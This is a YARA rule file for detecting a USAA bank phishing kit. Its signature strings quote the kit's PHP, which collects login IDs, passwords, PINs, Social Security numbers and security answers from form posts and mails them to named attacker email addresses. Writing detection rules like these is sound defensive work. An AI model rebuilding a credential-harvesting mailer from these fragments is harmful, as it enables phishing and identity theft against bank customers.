/*
Yara Rule Set
Author: Brian Laskowski
Date: 2018-08-16
Identifier: phishing
Reference: https://github.com/Hestat/lw-yara/
*/
/* Rule Set ----------------------------------------------------------------- */
rule infected_08_16_18_usaa_page_phishing_first {
meta:
description = "phishing - file first.php"
author = "Brian Laskowski"
reference = "https://github.com/Hestat/lw-yara/"
date = "2018-08-16"
hash1 = "681caec18a82b9dfe60b5fccb94604ec06620ae72537792a7a3d81faa86f3a4b"
strings:
$s1 = "$message .= \"--------------Usaa Login Info-----------------------\\n\";" fullword ascii
$s2 = "$message .= \"Login ID : \".$_POST['formtext1'].\"\\n\";" fullword ascii
$s3 = "$send = \"mandrell009@gmail.com,born.last@yandex.com\";" fullword ascii
$s4 = "$message .= \"Password : \".$_POST['formtext2'].\"\\n\";" fullword ascii
$s5 = "$headers = \"From: Usaa result<customer-support@mrs>\";" fullword ascii
$s6 = "$headers .= \"MIME-Version: 1.0\\n\";" fullword ascii
$s7 = "$ip = getenv(\"REMOTE_ADDR\");" fullword ascii
$s8 = "$headers .= $_POST['eMailAdd'].\"\\n\";" fullword ascii
$s9 = "mail($send,$subject,$message,$headers);" fullword ascii
$s10 = "mail($to,$subject,$message,$headers);" fullword ascii
$s11 = "$message .= \"---------------Created BY Unknown-------------\\n\";" fullword ascii
$s12 = "$subject = \"Result from -$ip\";" fullword ascii
condition:
( uint16(0) == 0x3f3c and
filesize < 2KB and
( 8 of them )
) or ( all of them )
}
rule infected_08_16_18_usaa_page_phishing_mailer {
meta:
description = "phishing - file mailer.php"
author = "Brian Laskowski"
reference = "https://github.com/Hestat/lw-yara/"
date = "2018-08-16"
hash1 = "4fb064375415e844bed994aebe1caf09b9a646f20d4daceefb4f4f4262af007c"
strings:
//$s1 = "$send = \"mandrell009@gmail.com,born.last@yandex.com\";" fullword ascii
$s2 = "$headers = \"From: usaa result<customer-support@mrs>\";" fullword ascii
$s3 = "$message .= \"Email Address : \".$_POST['formtext3'].\"\\n\";" fullword ascii
$s4 = "$headers .= \"MIME-Version: 1.0\\n\";" fullword ascii
$s5 = "$ip = getenv(\"REMOTE_ADDR\");" fullword ascii
$s6 = "$headers .= $_POST['eMailAdd'].\"\\n\";" fullword ascii
$s7 = "$message .= \"Confirm PIN Number : \".$_POST['formtext12'].\"\\n\";" fullword ascii
$s8 = "$message .= \"Date of Birth : \".$_POST['formtext8'].\"\\n\";" fullword ascii
$s9 = "$message .= \"USAA Member Number : \".$_POST['formtext2'].\"\\n\";" fullword ascii
$s10 = "mail($send,$subject,$message,$headers);" fullword ascii
$s11 = "mail($to,$subject,$message,$headers);" fullword ascii
$s12 = "$message .= \"---------------Created BY Unknown-------------\\n\";" fullword ascii
$s13 = "$subject = \"Result from -$ip\";" fullword ascii
$s14 = "$message .= \"Phone Pin : \".$_POST['formtext13'].\"\\n\";" fullword ascii
$s15 = "$message .= \"Full Name : \".$_POST['formtext1'].\"\\n\";" fullword ascii
$s16 = "$message .= \"SSN 1 : \".$_POST['formtext5'].\"\\n\";" fullword ascii
$s17 = "$message .= \"Expiry Date : \".$_POST['formtext10'].\"\\n\";" fullword ascii
$s18 = "$message .= \"SSN 3 : \".$_POST['formtext7'].\"\\n\";" fullword ascii
$s19 = "$message .= \"SSN 2 : \".$_POST['formtext6'].\"\\n\";" fullword ascii
$s20 = "$message .= \"--------------Skype Info-----------------------\\n\";" fullword ascii
condition:
( uint16(0) == 0x3f3c and
filesize < 4KB and
( 8 of them )
) or ( all of them )
}
rule infected_08_16_18_usaa_page_phishing_second {
meta:
description = "phishing - file second.php"
author = "Brian Laskowski"
reference = "https://github.com/Hestat/lw-yara/"
date = "2018-08-16"
hash1 = "fcbd6b43f0447982d3195483d69a03c9c8095cd0e1b7ecd33784cd21e81a8b33"
strings:
//$s1 = "$send = \"mandrell009@gmail.com,born.last@yandex.com\";" fullword ascii
$s2 = "$headers = \"From: Usaa result<customer-support@mrs>\";" fullword ascii
$s3 = "$headers .= \"MIME-Version: 1.0\\n\";" fullword ascii
$s4 = "$ip = getenv(\"REMOTE_ADDR\");" fullword ascii
$s5 = "$headers .= $_POST['eMailAdd'].\"\\n\";" fullword ascii
$s6 = "mail($send,$subject,$message,$headers);" fullword ascii
$s7 = "mail($to,$subject,$message,$headers);" fullword ascii
$s8 = "$message .= \"---------------Created BY Unknown-------------\\n\";" fullword ascii
$s9 = "$subject = \"Result from -$ip\";" fullword ascii
$s10 = "$message .= \"Pin : \".$_POST['formtext103'].\"\\n\";" fullword ascii
$s11 = "$message .= \"--------------Usaa Pin Info-----------------------\\n\";" fullword ascii
condition:
( uint16(0) == 0x3f3c and
filesize < 2KB and
( 8 of them )
) or ( all of them )
}
rule infected_08_16_18_usaa_page_phishing_action {
meta:
description = "phishing - file action.php"
author = "Brian Laskowski"
reference = "https://github.com/Hestat/lw-yara/"
date = "2018-08-16"
hash1 = "44e246c90089c88c7583c11d5e410176480b9e2f89b882ee45a831602ce3eca8"
strings:
$s1 = "$send = \"mandrell009@gmail.com,born.last@yandex.com\";" fullword ascii
$s2 = "$headers = \"From: USAA result<customer-support@mrs>\";" fullword ascii
$s3 = "$message .= \"Question 1 : \".$_POST['formselect1'].\"\\n\";" fullword ascii
$s4 = "$message .= \"Answer 1 : \".$_POST['formtext1'].\"\\n\";" fullword ascii
$s5 = "$message .= \"Answer 3 : \".$_POST['formtext3'].\"\\n\";" fullword ascii
$s6 = "$message .= \"Question 2 : \".$_POST['formselect2'].\"\\n\";" fullword ascii
$s7 = "$message .= \"Answer 2 : \".$_POST['formtext2'].\"\\n\";" fullword ascii
$s8 = "$message .= \"Question 3 : \".$_POST['formselect3'].\"\\n\";" fullword ascii
$s9 = "$message .= \"Question 4 : \".$_POST['formselect4'].\"\\n\";" fullword ascii
$s10 = "$message .= \"Answer 4 : \".$_POST['formtext4'].\"\\n\";" fullword ascii
$s11 = "$message .= \"Question 5 : \".$_POST['formselect5'].\"\\n\";" fullword ascii
$s12 = "$message .= \"Question 6 : \".$_POST['formselect6'].\"\\n\";" fullword ascii
$s13 = "$message .= \"Answer 5 : \".$_POST['formtext5'].\"\\n\";" fullword ascii
$s14 = "$message .= \"Answer 6 : \".$_POST['formtext6'].\"\\n\";" fullword ascii
$s15 = "$headers .= \"MIME-Version: 1.0\\n\";" fullword ascii
$s16 = "$ip = getenv(\"REMOTE_ADDR\");" fullword ascii
$s17 = "$headers .= $_POST['eMailAdd'].\"\\n\";" fullword ascii
$s18 = "mail($send,$subject,$message,$headers);" fullword ascii
$s19 = "mail($to,$subject,$message,$headers);" fullword ascii
$s20 = "$message .= \"---------------Created BY Unknown-------------\\n\";" fullword ascii
condition:
( uint16(0) == 0x3f3c and
filesize < 3KB and
( 8 of them )
) or ( all of them )
}
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